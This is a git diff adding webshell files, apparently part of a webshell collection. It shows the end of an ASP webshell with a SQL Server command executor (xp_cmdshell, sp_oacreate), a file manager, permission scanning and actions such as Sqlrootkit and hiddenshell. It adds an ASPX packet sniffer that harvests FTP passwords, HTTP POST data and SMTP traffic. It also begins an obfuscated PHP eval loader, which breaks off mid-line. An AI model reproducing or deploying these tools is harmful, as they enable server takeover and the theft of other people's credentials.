+                       RESPONSE.WRITE "<TEXTAREA ROWS=10 COLS=50>"
+                       RESPONSE.WRITE "执行SQL语句:"
+                       RESPONSE.WRITE REQUEST.FORM("SQL") 
+                       RESPONSE.WRITE STRRESULT
+                       RESPONSE.WRITE "</TEXTAREA>"
+                       END IF
+                       ELSE 
+                       RESPONSE.WRITE "<SCRIPT>ALERT('操作超时，重新登陆！')</SCRIPT>"
+                       RESPONSE.WRITE "<CENTER><A HREF="&REQUEST.SERVERVARIABLES("URL")&"?SQLAAA=LOGOUT><FONT COLOR=BLACK>登陆超时</FONT>"
+                       RESPONSE.END
+                       END IF
+
+ELSEIF REQUEST("SQLAAA")="LOGOUT" THEN
+                       SET ADOCONN=NOTHING
+                       SESSION("LOGIN")=""
+                       SESSION("NAME")=""
+                       SESSION("PASS")=""
+                       SESSION("SERVER")=""
+                       SESSION("PORT")=""
+                       SESSION("SYSTEM")=""
+                       SESSION("PRI")=""		              
+END IF
+IF SESSION("LOGIN")="" THEN
+			   RESPONSE.WRITE "<FORM NAME=FORM METHOD=POST SQLAAA="&REQUEST.SERVERVARIABLES("URL")&">"
+			   RESPONSE.WRITE "<P>SQL用户名："
+			   RESPONSE.WRITE "<INPUT NAME=NAME TYPE=TEXT ID=NAME VALUE="&SESSION("NAME")&">"
+ 		           RESPONSE.WRITE "  SQL密码："
+			   RESPONSE.WRITE "<INPUT NAME=PASS TYPE=PASSWORD ID=PASS VALUE="&SESSION("PASS")&">"
+			   RESPONSE.WRITE "<P>SQL服务器："
+			   RESPONSE.WRITE "<INPUT NAME=PORT TYPE=TEXT ID=SERVER VALUE=127.0.0.1>"
+ 		           RESPONSE.WRITE "  SQL端口："
+			   RESPONSE.WRITE "<INPUT NAME=PORT TYPE=TEXT ID=PORT VALUE=1433>"
+			   RESPONSE.WRITE "  <INPUT NAME=SQLAAA TYPE=SUBMIT VALUE=LOGIN>"
+			   RESPONSE.WRITE "</FORM>"
+
+ELSE                       RESPONSE.WRITE "<FORM NAME=FORM METHOD=POST SQLAAA="&REQUEST.SERVERVARIABLES("URL")&">"
+			   RESPONSE.WRITE "<P>组件检测："
+			   RESPONSE.WRITE "  <INPUT NAME=SQLAAA TYPE=HIDDEN VALUE=TEST>"
+			   RESPONSE.WRITE "  <INPUT TYPE=SUBMIT VALUE=检测组件>"
+			   RESPONSE.WRITE "</FORM>"
+
+                           RESPONSE.WRITE "<FORM NAME=FORM METHOD=POST SQLAAA="&REQUEST.SERVERVARIABLES("URL")&">"
+			   RESPONSE.WRITE "<P>组件恢复："
+			   RESPONSE.WRITE "  <INPUT NAME=SQLAAA TYPE=HIDDEN VALUE=RESUME>"
+			   RESPONSE.WRITE "  <INPUT TYPE=SUBMIT VALUE=恢复组件>"
+			   RESPONSE.WRITE "</FORM>"
+
+		           RESPONSE.WRITE "<FORM NAME=FORM METHOD=POST SQLAAA="&REQUEST.SERVERVARIABLES("URL")&">"
+			   RESPONSE.WRITE "<P>系统命令："
+			   RESPONSE.WRITE "  <INPUT NAME=CMD TYPE=TEXT>"
+			   RESPONSE.WRITE "<SELECT NAME='TOOL' ><OPTION VALUE=''>----请选择运行程序的组件----</OPTION><OPTION VALUE=XP_CMDSHELL>XP_CMDSHELL</OPTION><OPTION VALUE=SP_OACREATE>SP_OACREATE</OPTION><OPTION VALUE=XP_REGWRITE>XP_REGWRITE</OPTION><OPTION VALUE=SQLSERVERAGENT>SQLSERVERAGENT</OPTION></OPTION></SELECT>"
+			   RESPONSE.WRITE "  <INPUT NAME=SQLAAA TYPE=HIDDEN VALUE=CMD>"
+			   RESPONSE.WRITE "  <INPUT TYPE=SUBMIT VALUE=执行>"
+			   RESPONSE.WRITE "</FORM>"
+		           RESPONSE.WRITE "<FORM NAME=FORM1 METHOD=POST SQLAAA="&REQUEST.SERVERVARIABLES("URL")&">"
+			   RESPONSE.WRITE "<P>执行语句："
+			   RESPONSE.WRITE "   <INPUT NAME=SQL TYPE=TEXT>"
+			   RESPONSE.WRITE "  <INPUT NAME=SQLAAA TYPE=HIDDEN VALUE=SQL>"
+			   RESPONSE.WRITE "  <INPUT TYPE=SUBMIT VALUE=执行>"			   
+			   RESPONSE.WRITE "</FORM>"                          
+END IF
+End Function
+
+Function ScReWr(folder) '1.可读,不可写。2.不可读,可写。3.可读,可写。4.不可读,不可写。
+ On Error Resume Next
+ Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename
+ Set FSO = Server.Createobject("Scripting.FileSystemObject")
+ Set TestFolder = FSO.GetFolder(folder)
+ Set TestFileList = TestFolder.SubFolders
+ RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp"
+ For Each A in TestFileList
+ Next
+ If err Then
+ err.Clear
+	 ReWrStr = folder & " [不可读,"
+	 FSO.CreateTextFile folder & RndFilename,True
+	 If err Then
+	 err.Clear
+	 ReWrStr = ReWrStr & "不可写]"
+	 Else
+	 ReWrStr = ReWrStr & "可写]"
+	 FSO.DeleteFile folder & RndFilename,True
+	 End If
+ Else
+ ReWrStr = folder & "<FONT color=Red> [可读,"
+	 FSO.CreateTextFile folder & RndFilename,True
+	 If err Then
+	 err.Clear
+	 ReWrStr = ReWrStr & "不可写]</FONT>"
+	 Else
+	 ReWrStr = ReWrStr & "可写]</FONT>"
+	 FSO.DeleteFile folder & RndFilename,True
+	 End if
+ End if
+ Set TestFileList = Nothing
+ Set TestFolder = Nothing
+ Set FSO = Nothing
+ ScReWr = ReWrStr
+End Function
+sub SavePower(PowerPath,SaveType)
+Set theFile = fsoX.GetFile(PowerPath)
+if SaveType=1 then
+theFile.Attributes=0
+o "<script language='javascript'>alert('文件已成功解锁。');window.opener.location.reload();window.close();</script>"
+else
+theFile.Attributes=39
+o "<script language='javascript'>alert('文件锁定成功。');window.opener.location.reload();window.close();</script>"
+end if
+Set theFile = Nothing
+end sub
+sub EditPower(PowerPath)
+PowerPath=replace(PowerPath,"""","")
+Set theFile = fsoX.GetFile(PowerPath)
+o getMyTitle(theFile,PowerPath):Set theFile = Nothing:end sub:Function getMyTitle(theOne,PowerPath):Dim strTitle:strTitle = strTitle & "<br>路径: " & theOne.Path & "" :strTitle = strTitle & "<br>大小: " & getTheSize(theOne.Size) :strTitle = strTitle & "<br>创建时间: " & theOne.DateCreated :strTitle = strTitle & "<br>最后修改: " & theOne.DateLastModified:strTitle = strTitle & "<br>最后访问: " & theOne.DateLastAccessed:strTitle = strTitle & "<br>当前权限状态: " & getAttributes(theOne.Attributes,PowerPath):getMyTitle = strTitle:End Function:Function getAttributes(intValue,PowerPath):Dim EditOK:EditOK=1:If intValue >= 128 Then:intValue = intValue - 128:End If:If intValue >= 64 Then:intValue = intValue - 64:End If:If intValue >= 32 Then:intValue = intValue - 32:End If:If intValue >= 16 Then:intValue = intValue - 16:End If:If intValue >= 8 Then:intValue = intValue - 8:End If:If intValue >= 4 Then:intValue = intValue - 4:EditOK=0:End If:If intValue >= 2 Then:intValue = intValue - 2:EditOK=0:End If:If intValue >= 1 Then:intValue = intValue - 1:EditOK=0:End If:PowerPath=replace(PowerPath,"\","\\"):if EditOK=0 then :getAttributes = "<font color=red>已锁定</font> <input type=button value=解锁 onclick=""location.href='?Action=SavePower&SaveType=1&PowerPath="&PowerPath&"'"">":else:getAttributes = "<font color=#62FF62>未锁定</font> <input type=button value=锁定 onclick=""location.href='?Action=SavePower&SaveType=2&PowerPath="&PowerPath&"'"">":end if:End Function:Function getTheSize(theSize):If theSize >= (1024 * 1024 * 1024) Then :getTheSize = Fix((theSize / (1024 * 1024 * 1024)) * 100) / 100 & "G":end if:If theSize >= (1024 * 1024) And theSize < (1024 * 1024 * 1024) Then :getTheSize = Fix((theSize / (1024 * 1024)) * 100) / 100 & "M":end if:If theSize >= 1024 And theSize < (1024 * 1024) Then :getTheSize = Fix((theSize / 1024) * 100) / 100 & "K":end if:If theSize >= 0 And theSize <1024 Then :getTheSize = theSize & "B":end if:End Function
+Set FsoX = Nothing
+
+
+Case "ReadREG":call ReadREG()
+Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing
+Case "DownFile":DownFile FName:ShowErr()
+Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing
+Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing
+Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing
+Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing
+Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing
+Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing
+Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing
+Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing
+case "upfile":upfile()
+Case "Cmd1Shell":Cmd1Shell()
+Case "Logout":Session.Contents.Remove("webadministrators"):Response.Redirect URL
+Case "CreateMdb":CreateMdb FName
+Case "CompactMdb":CompactMdb FName
+Case "DbManager":DbManager()
+Case "Course":Course()
+Case "SetFileText":SetFileText()
+Case "Mssql":Mssql()
+case "php":php()
+Case "PageCheck":PageCheck()
+Case "PageUpFile":PageUpFile()
+Case "PageExecute":PageExecute()
+Case "FsoFileExplorer":FsoFileExplorer()
+Case "AppFileExplorer":AppFileExplorer()
+Case "suftp":suftp()
+Case "TSearch":TSearch()
+Case "Sqlrootkit":sqlrootkit()
+case "apjdel":apjdel()
+Case "radmin":radmin()
+Case "pcanywhere4":pcanywhere4()
+Case "adminab":adminab()
+Case "UpLoad":UpLoad()
+case "hiddenshell":hiddenshell()
+Case "ScanDriveForm":ScanDriveForm()
+Case "ScanDrive": ScanDrive(Request("Drive"))
+Case "ScFolder":ScFolder(Request("Folder"))
+Case "MainMenu":MainMenu()
+Case "EditPower":Call EditPower(request("PowerPath"))
+Case "SavePower":Call SavePower(request("PowerPath"),request("SaveType"))
+Case Else MainForm()
+End Select
+if Action<>"Servu" then ShowErr()
+o"</body></html>"
+Sub Message(state,msg,flag)
+o "<br><TABLE width=600 border=0 align=center cellpadding=0 cellspacing=1 bgcolor=#91d70d>"
+o " <TR>"
+o " <TD id=s align=center><b>系统信息</b></TD>"
+o " </TR>"
+o " <TR>"
+o " <TD align=middle bgcolor=#ecfccd>"
+o "	 <TABLE width=82% border=0 cellpadding=5 cellspacing=0>"
+o "	 <TR>"
+o "	 <TD><FONT color=red>"
+o state
+o "</FONT></TD>"
+o "	<TR>"
+o "	 <TD><P>"
+o msg
+o "</P></TD>"
+o "	</TR>"
+o "	 </TABLE>"
+o "	</TD>"
+o " </TR>"
+o " <TR>"
+o " <TD id=s height=20 align=middle>"
+o "	"
+If flag=0 Then
+o "	 <INPUT type=button value=关闭当前页面 onclick=""window.close();"">"
+o "	"
+Else
+o "	 <INPUT type=button value=返回上级页面 onClick=""history.go(-1);"">"
+o "	"
+End if
+o "	</TD>"
+o " </TR>"
+o "</TABLE>"
+End Sub
+%> 
+</body></html>
\ No newline at end of file
diff --git a/aspx/aspx涓嬪梾鎺㈠伐鍏穡ebsniff1.0-linux.aspx b/aspx/aspx涓嬪梾鎺㈠伐鍏穡ebsniff1.0-linux.aspx
new file mode 100644
index 0000000..b1363c3
--- /dev/null
+++ b/aspx/aspx涓嬪梾鎺㈠伐鍏穡ebsniff1.0-linux.aspx
@@ -0,0 +1,707 @@
+<%@ Page Language="C#" ValidateRequest="false" %>
+<%@ Import Namespace="System.Net.Sockets" %>
+<%@ Import Namespace="System.Net" %>
+<%@ Import Namespace="System.IO" %>
+<%@ Import Namespace="System.Collections" %>
+<%@ Import Namespace="System.Text" %>
+<%@ Import Namespace="System.Net.NetworkInformation" %>
+<%@ Import Namespace="System.Threading" %>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head runat="server">
+<title>WebSniff 1.0  Powered by  C.C.T。linx 修改版 </title>
+</head>
+<body>
+
+<script runat="server">
+
+    static private Socket mainSocket;                          //The socket which captures all incoming packets
+    private static byte[] byteData = new byte[2048];
+    private static bool bContinueCapturing = true;            //A flag to check if packets are to be captured or not
+    static int stoppackes = 0;
+    static int port = 0;
+    static string strIP = null;
+    static long packets = 0;
+    static System.IO.FileStream wfs;
+    static string logfile =null;
+    static PacketCaptureWriter pktwt;
+    static string keyword;
+    static DateTime stoptime = System.DateTime.Now.AddYears(-8);
+    static Thread th;
+    static int minisizepacket=0;
+    static string proException = null;
+
+    static Boolean logNextPacket = false;
+    static Boolean my_s_ftp= true;
+    static Boolean my_s_http_post = false;
+    static Boolean my_s_smtp = false;
+
+
+    
+    protected void Page_Load(object sender, EventArgs e)
+    {
+
+        if (logfile == null)
+        {
+            logfile = Server.MapPath("w" + System.DateTime.Now.ToFileTime() + ".txt");
+        }
+        if (stoptime.Year == (System.DateTime.Now.Year - 8))
+        {
+            System.DateTime nextDay = System.DateTime.Now.AddDays(1);
+            stoptime = nextDay;
+        }
+        
+        //没有生成IP列表
+        if (ddlist.Items.Count==0)
+        {
+            IPHostEntry HosyEntry = Dns.GetHostEntry((Dns.GetHostName()));
+            if (HosyEntry.AddressList.Length > 0)
+            {
+                foreach (IPAddress ip in HosyEntry.AddressList)
+                {
+                    ddlist.Items.Add(ip.ToString());
+                }
+            }
+        }
+
+
+
+        //如不是点击Starts按钮，则打印已经设过的参数
+        if (Request.Form["Starts"] == null)
+        {
+            this.ddlist.SelectedValue = strIP;
+            this.txtport.Text = port.ToString();
+            this.txtMinisize.Text = minisizepacket.ToString();
+            this.txtkeywords.Text = keyword;
+            this.txtlogfile.Text = logfile;
+            this.txtpackets.Text = stoptime.ToString();
+            this.s_ftp.Checked = my_s_ftp;
+            this.s_http_post.Checked = my_s_http_post;
+            this.s_smtp.Checked = my_s_smtp;
+        }
+
+        if (th != null )
+        {
+            this.Lb_msg.Text = System.DateTime.Now.ToString()+"  State: <b>" + th.ThreadState.ToString() +"</b>  Packets: "+packets.ToString();
+        }
+        else
+        {
+            this.Lb_msg.Text = "Sniff Treads is not started";
+        }
+        
+        
+
+        if (Request.Form["Starts"] != null || th != null)
+        {
+            this.Starts.Enabled = false;
+        }
+        else
+        {
+            this.Starts.Enabled = true;
+        }
+        //点击了stop按钮
+        if (Request.Form["Button1"] != null)
+        {
+            this.Starts.Enabled = true;
+            this.Lb_msg.Text = System.DateTime.Now.ToString() + "  State: <b>stoping. Click \"Refresh\" again to see if thread is stoped successed.</b>  Packets: " + packets.ToString();
+        }
+
+        Lb_msg2.Text = proException; //错误信息
+    }
+
+    protected void Refresh_Click(object sender, EventArgs e)
+    {
+
+    }
+
+    protected void Stop_Click(object sender, EventArgs e)
+    {
+        packets = stoppackes;
+        //stoptime = System.DateTime.Now;
+        proException += "<br>last time stop at " + System.DateTime.Now.ToString();
+        bContinueCapturing = false;
+      
+        
+        if (th != null)
+        {
+            th.Abort();
+            th = null; 
+        }
+        try
+        {
+            wfs.Close();
+            mainSocket.Close();
+        }
+        catch (Exception ex)
+        {
+        }
+    }
+    protected void Pagestart()
+    {
+        //记录设置过的参数
+        strIP = ddlist.SelectedValue;
+        port = Int32.Parse(txtport.Text);
+        stoptime = Convert.ToDateTime( txtpackets.Text);
+        logfile = this.txtlogfile.Text;
+        keyword = txtkeywords.Text;
+        minisizepacket = Int32.Parse(txtMinisize.Text);
+        my_s_ftp = this.s_ftp.Checked;
+        my_s_http_post = this.s_http_post.Checked;
+        my_s_smtp = this.s_smtp.Checked;
+        
+        wfs = System.IO.File.Create(logfile);
+        pktwt = new PacketCaptureWriter(wfs, LinkLayerType.RawIP);
+        bContinueCapturing = true;
+        packets = 0;
+        
+        Start();
+    }
+    private static void Start()
+    {
+        byte[] byTrue = new byte[4] { 1, 0, 0, 0 };
+        byte[] byOut = new byte[4] { 1, 0, 0, 0 };
+        try
+        {
+            bContinueCapturing = true;
+            mainSocket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
+            mainSocket.Bind(new IPEndPoint(IPAddress.Parse(strIP), 0));
+            mainSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true);
+            mainSocket.IOControl(IOControlCode.ReceiveAll, byTrue, byOut);
+        }
+        catch (Exception ex)
+        {
+            proException += ex.ToString()+"<BR>"; //静态方法可以访问静态变量proException
+        }
+        byteData = new byte[2048];
+ 
+        while (System.DateTime.Now <= stoptime)
+        {
+            ParseData(byteData, mainSocket.Receive(byteData));
+        }
+        bContinueCapturing = false;
+        wfs.Close();
+        mainSocket.Close();
+    }
+ 
+    protected void Start_Click(object sender, EventArgs e)
+    {
+
+        if (this.txtlogfile.Text == "" || txtpackets.Text.Length < 1 || txtport.Text == "") return;
+        th = new Thread(new ThreadStart(Pagestart));
+        th.Start();
+        //Session["workthread"] = th;
+        this.Lb_msg.Text = "\r\nSniffing.Click \"Refresh\" to see the lastest status.";
+    }
+
+    public static ushort Get2Bytes(byte[] ptr, int Index, int Type)
+    {
+        ushort u = 0;
+
+        if (Type == 0)
+        {
+            u = (ushort)ptr[Index++];
+            u *= 256;
+            u += (ushort)ptr[Index++];
+        }
+        else if (Type == 1)
+        {
+            u = (ushort)ptr[++Index];
+            u *= 256; Index--;
+            u += (ushort)ptr[Index++]; Index++;
+        }
+
+        return u;
+    }
+
+
+    private static void ParseData(byte[] byteData, int nReceived)
+    {
+        try
+        {
+            byte[] nbyte = new byte[nReceived];
+            Array.Copy(byteData, nbyte, nReceived);
+            if ((int)nbyte[9] == 6)
+            {
+               
+                int sport = Get2Bytes(nbyte,  20,0);
+                int dport = Get2Bytes(nbyte,  22,0);
+                
+                String datas=Encoding.Default.GetString(nbyte);
+                Boolean logIt=false;
+                
+
+                if (my_s_ftp)
+                {
+                    if ((sport == 21 || dport == 21) &&
+                        (datas.IndexOf("USER ") >= 0 || datas.IndexOf("PASS ") >= 0)
+                        )
+                    {
+                       logIt =true;                    
+                    }
+                }
+
+                if (!logIt && my_s_http_post)
+                {
+                    if(logNextPacket){
+                        logIt =true; 
+                        logNextPacket=false;
+                        
+                    }
+                    if (!logIt && datas.IndexOf("POST ")>=0)
+                    {
+                       logIt =true; 
+                       logNextPacket=true;
+                    }
+                    
+                }
+
+                if (!logIt && my_s_smtp && (dport == 25 || sport == 25))
+                {
+                     logIt =true; 
+                }
+
+                
+                //判断端口
+                if (!logIt && (dport == port || sport == port))
+                {
+                    if (nReceived > minisizepacket)
+                    {
+
+                        //判断关键字
+                        if (keyword != "")
+                        {
+                            if (datas.IndexOf(keyword) >= 0)
+                            {
+                                logIt =true; 
+                            }
+
+                        }
+                        else
+                        {
+                            logIt =true; 
+                        }
+
+                    }
+                }
+                if(logIt){
+                         PacketCapture pkt = new PacketCapture(nbyte, nReceived);
+                            pktwt.Write(pkt);
+                            packets++;
+                }
+                
+                
+            }
+        }
+        catch { }
+
+    }
+    public struct UnixTime
+    {
+        public static readonly DateTime MinDateTime = new DateTime(1970, 1, 1, 0, 0, 0);
+        public static readonly DateTime MaxDateTime = new DateTime(2038, 1, 19, 3, 14, 7);
+
+        private readonly int _Value;
+
+        public UnixTime(int value)
+        {
+            if (value < 0)
+                throw new ArgumentOutOfRangeException("value");
+            _Value = value;
+        }
+
+        public int Value
+        {
+            get { return _Value; }
+        }
+
+        public DateTime ToDateTime()
+        {
+            const long START = 621355968000000000; // 1970-1-1 00:00:00
+            return new DateTime(START + (_Value * (long)10000000)).ToLocalTime();
+        }
+
+        public static UnixTime FromDateTime(DateTime dateTime)
+        {
+            if (dateTime < MinDateTime || dateTime > MaxDateTime)
+                throw new ArgumentOutOfRangeException("dateTime");
+            TimeSpan span = dateTime.Subtract(MinDateTime);
+            return new UnixTime((int)span.TotalSeconds);
+        }
+
+        public override string ToString()
+        {
+            return ToDateTime().ToString();
+        }
+
+    }
+    public enum LinkLayerType : uint
+    {
+        Null = 0,
+        Ethernet = 1,
+        RawIP = 101,
+        User0 = 147,
+        User1 = 148,
+        User2 = 149,
+        User3 = 150,
+        User4 = 151,
+        User5 = 152,
+        User6 = 153,
+        User7 = 154,
+        User8 = 155,
+        User9 = 156,
+        User10 = 157,
+        User11 = 158,
+        User12 = 159,
+        User13 = 160,
+        User14 = 161,
+        User15 = 162,
+
+    }
+
+
+    public sealed class PacketCaptureWriter
+    {
+        #region Fields
+        private const uint MAGIC = 0xA1B2C3D4;
+        private readonly Stream _BaseStream;
+        private readonly LinkLayerType _LinkLayerType;
+        private readonly int _MaxPacketLength;
+        private readonly BinaryWriter m_Writer;
+        private bool m_ExistHeader = false;
+        private int _TimeZone;
+        private int _CaptureTimestamp;
+
+        #endregion
+
+        #region Constructors
+
+        public PacketCaptureWriter(
+            Stream baseStream, LinkLayerType linkLayerType,
+            int maxPacketLength, int captureTimestamp)
+        {
+            if (baseStream == null) throw new ArgumentNullException("baseStream");
+            if (maxPacketLength < 0) throw new ArgumentOutOfRangeException("maxPacketLength");
+            if (!baseStream.CanWrite) throw new ArgumentException("Cant'Wirte Stream");
+            _BaseStream = baseStream;
+            _LinkLayerType = linkLayerType;
+            _MaxPacketLength = maxPacketLength;
+            _CaptureTimestamp = captureTimestamp;
+            m_Writer = new BinaryWriter(_BaseStream);
+        }
+
+
+        public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType, int captureTimestamp)
+            : this(baseStream, linkLayerType, 0xFFFF, captureTimestamp)
+        {
+        }
+
+        public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType)
+            : this(baseStream, linkLayerType, 0xFFFF, UnixTime.FromDateTime(DateTime.Now).Value)
+        {
+        }
+
+        #endregion
+
+        #region Properties
+
+        public short VersionMajor
+        {
+            get { return 2; }
+        }
+
+        public short VersionMinjor
+        {
+            get { return 4; }
+        }
+
+
+        public int TimeZone
+        {
+            get { return _TimeZone; }
+            set { _TimeZone = value; }
+        }
+
+
+        public int CaptureTimestamp
+        {
+            get { return _CaptureTimestamp; }
+            set { _CaptureTimestamp = value; }
+        }
+
+
+        public Stream BaseStream
+        {
+            get { return _BaseStream; }
+        }
+
+        public LinkLayerType LinkLaterType
+        {
+            get { return _LinkLayerType; }
+        }
+
+        public int MaxPacketLength
+        {
+            get { return _MaxPacketLength; }
+        }
+
+        #endregion
+
+
+        public void Write(PacketCapture packet)
+        {
+            CheckHeader();
+            m_Writer.Write(packet.Timestamp.Value);
+            m_Writer.Write(packet.Millseconds);
+            m_Writer.Write(packet.Packet.Count);
+            m_Writer.Write(packet.RawLength);
+            m_Writer.Write(packet.Packet.Array, packet.Packet.Offset, packet.Packet.Count);
+        }
+
+
+        public void Flush()
+        {
+            BaseStream.Flush();
+        }
+
+        private void CheckHeader()
+        {
+            if (!m_ExistHeader)
+            {
+                m_Writer.Write(MAGIC);
+                m_Writer.Write(VersionMajor);
+                m_Writer.Write(VersionMinjor);
+                m_Writer.Write(TimeZone);
+                m_Writer.Write(CaptureTimestamp);
+                m_Writer.Write(MaxPacketLength);
+                m_Writer.Write((uint)LinkLaterType);
+                m_ExistHeader = true;
+            }
+        }
+
+    }
+
+    public sealed class PacketCapture
+    {
+        private readonly UnixTime _Timestamp;
+        private readonly ArraySegment<byte> _Packet;
+        private readonly int _RawLength;
+        private readonly int _Millseconds;
+
+  
+        public PacketCapture(ArraySegment<byte> packet, int rawLength, UnixTime timestamp, int millseconds)
+        {
+            if (packet.Count > rawLength)
+                throw new ArgumentException("Length Error", "rawLength");
+            _Packet = packet;
+            _Timestamp = timestamp;
+            _RawLength = rawLength;
+            _Millseconds = millseconds;
+        }
+
+        public PacketCapture(ArraySegment<byte> packet, int rawLength, DateTime timestamp)
+            : this(packet, rawLength, UnixTime.FromDateTime(timestamp), 0)
+        {
+        }
+
+        public PacketCapture(ArraySegment<byte> packet, int rawLength)
+            : this(packet, rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
+        {
+        }
+
+        public PacketCapture(ArraySegment<byte> packet)
+            : this(packet, packet.Count)
+        {
+        }
+        public PacketCapture(byte[] packetData, int offset, int count, int rawLength, UnixTime timestamp, int millseconds)
+            : this(new ArraySegment<byte>(packetData, offset, count), rawLength, timestamp, millseconds)
+        {
+        }
+        public PacketCapture(byte[] packetData, int offset, int count, int rawLength, DateTime timestamp)
+            : this(new ArraySegment<byte>(packetData, offset, count), rawLength, UnixTime.FromDateTime(timestamp), 0)
+        {
+        }
+        public PacketCapture(byte[] packetData, int rawLength, UnixTime timestamp, int millseconds)
+            : this(new ArraySegment<byte>(packetData), rawLength, timestamp, millseconds)
+        {
+        }
+        public PacketCapture(byte[] packetData, int rawLength, DateTime timestamp)
+            : this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(timestamp), 0)
+        {
+        }
+
+        public PacketCapture(byte[] packetData, int rawLength)
+            : this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
+        {
+        }
+        public PacketCapture(byte[] packetData)
+            : this(packetData, packetData.Length)
+        {
+        }
+
+        public ArraySegment<byte> Packet
+        {
+            get { return _Packet; }
+        }
+        public UnixTime Timestamp
+        {
+            get { return _Timestamp; }
+        }
+        public int Millseconds
+        {
+            get { return _Millseconds; }
+        }
+
+        public int RawLength
+        {
+            get { return _RawLength; }
+        }
+
+    }
+</script>
+
+
+
+<style type="text/css">
+<!--
+a {
+color: #FF0000	 ;text-decoration: none
+}
+#b 
+{
+color: #336699;
+font-size: 10pt;
+text-align: right;
+}
+#tt 
+{
+vertical-align: middle;
+font-size: 12pt;
+text-align: center;
+}
+
+#Ct_2 
+{
+padding-left:30px;
+font-size: 10pt;
+color: #336699;
+vertical-align: middle;
+text-align: left;
+background-color: aliceblue;
+border-width: 1px;
+border-style: solid;
+border-color: -moz-use-text-color;
+padding-bottom:10px;
+}
+-->
+</style>
+<form id="form1" runat="server">
+<div id="tt">  <b> WebSniff 1.0</b><br /><br />  </div>
+<div id="Ct_2" >
+    <table width="100%" >
+      <tr >
+            <td  width="10%"> BindIP: </td>
+            <td ><asp:DropDownList ID="ddlist" runat="server" width="90%"></asp:DropDownList></td>
+        </tr>
+        
+      <tr >
+            <td  width="10%">Auto sniff: </td>
+            <td >
+            FTP Password:
+             <asp:CheckBox ID="s_ftp" runat="server" Checked />
+             &nbsp;&nbsp;
+             
+             HTTP Post Data:
+              <asp:CheckBox ID="s_http_post" runat="server" />
+              &nbsp;&nbsp;
+              
+              Smtp Data:
+               <asp:CheckBox ID="s_smtp" runat="server" />
+            
+            
+            </td>
+        </tr>
+                   
+        
+        
+        <tr>
+            <td ">
+                FilterPort:
+            </td>
+            <td>
+                <asp:TextBox ID="txtport" Text="0"  width="90%" runat="server"></asp:TextBox>
+            </td>
+        </tr>
+        <tr>
+            <td >
+                MiniSizeToCapture:
+            </td>
+            <td >
+                <asp:TextBox ID="txtMinisize" Text="0"  width="90%" runat="server" ></asp:TextBox>
+            </td>
+        </tr>
+        <tr>
+            <td>
+                KeyWordsFilter:
+            </td>
+            <td>
+                <asp:TextBox ID="txtkeywords" runat="server"   width="90%" Text=""></asp:TextBox>
+            </td>
+        </tr>
+        <tr>
+            <td >
+                LogFile:
+            </td>
+            <td>
+                <asp:TextBox ID="txtlogfile" runat="server"   width="90%" Text="log.log" ></asp:TextBox>
+            </td>
+        </tr>
+        <tr>
+            <td >
+                Stop At Time:
+            </td>
+            <td>
+                <asp:TextBox ID="txtpackets" runat="server"  width="90%" Text="300"></asp:TextBox>
+            </td>
+        </tr>
+	     <tr>
+            <td >
+            	      Control:
+            </td>
+            <td   width="90%" >	 <asp:Button ID="Starts" runat="server" OnClick="Start_Click" Text="Start" />
+			      <asp:Button ID="Button1" runat="server" OnClick="Stop_Click" Text="Stop" />
+                  <asp:Button ID="Button_ref" runat="server" OnClick="Refresh_Click" Text="Refresh/View Status" /><br />
+            </td>
+        </tr>
+	     <tr>
+            <td  >
+            	      Status:
+            </td>
+            <td   width="90%"><div id="s"><asp:Label ID="Lb_msg" runat="server" Text=""></div></asp:Label>
+            </td>
+        </tr>
+
+	     <tr>
+            <td  >
+                	  
+            </td>
+            <td   width="90%"><div id="s"><asp:Label ID="Lb_msg2" runat="server" Text=""></div></asp:Label>
+            </td>
+        </tr>
+        
+
+
+    </table>
+    </div><br /><br />
+    <div id=b>Powered by <a href="//www.cncert.net"> C.C.T </a>|Version 1.0
+    
+    <a href=" http://hi.baidu.com/cnqing/blog/item/92d8b35008ad871f377abee4.html">1</a> 
+
+    <a href="http://hi.baidu.com/linx2008/blog/item/7020f1de1b1c805395ee3768.html">2</a> 
+    </div>
+ 
+    
+    
+    
+</form>
+</body>
+</html>
diff --git a/php/ghost.php b/php/ghost.php
new file mode 100644
index 0000000..e6b5d11
--- /dev/null
+++ b/php/ghost.php
@@ -0,0 +1,20 @@
+<?php $code='JElJSUlJSTFJSUlJST0nb3JkJzskSUlJSUlJbDExMTExPSdjaHInOyRJSUlJSUlsSUkxMUk9J2Jhc2U2NF9kZWNvZGUnOyRJSUlJSUlsMTExMWw9J2d6aW5mbGF0ZSc7';
+$x=str_replace('f',"","bfafsfef6f4f_ffdffeffcffoffdffef");
+preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'($x($code))','a');
+?>
+<?php $OOO000000=urldecode('%61%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64');
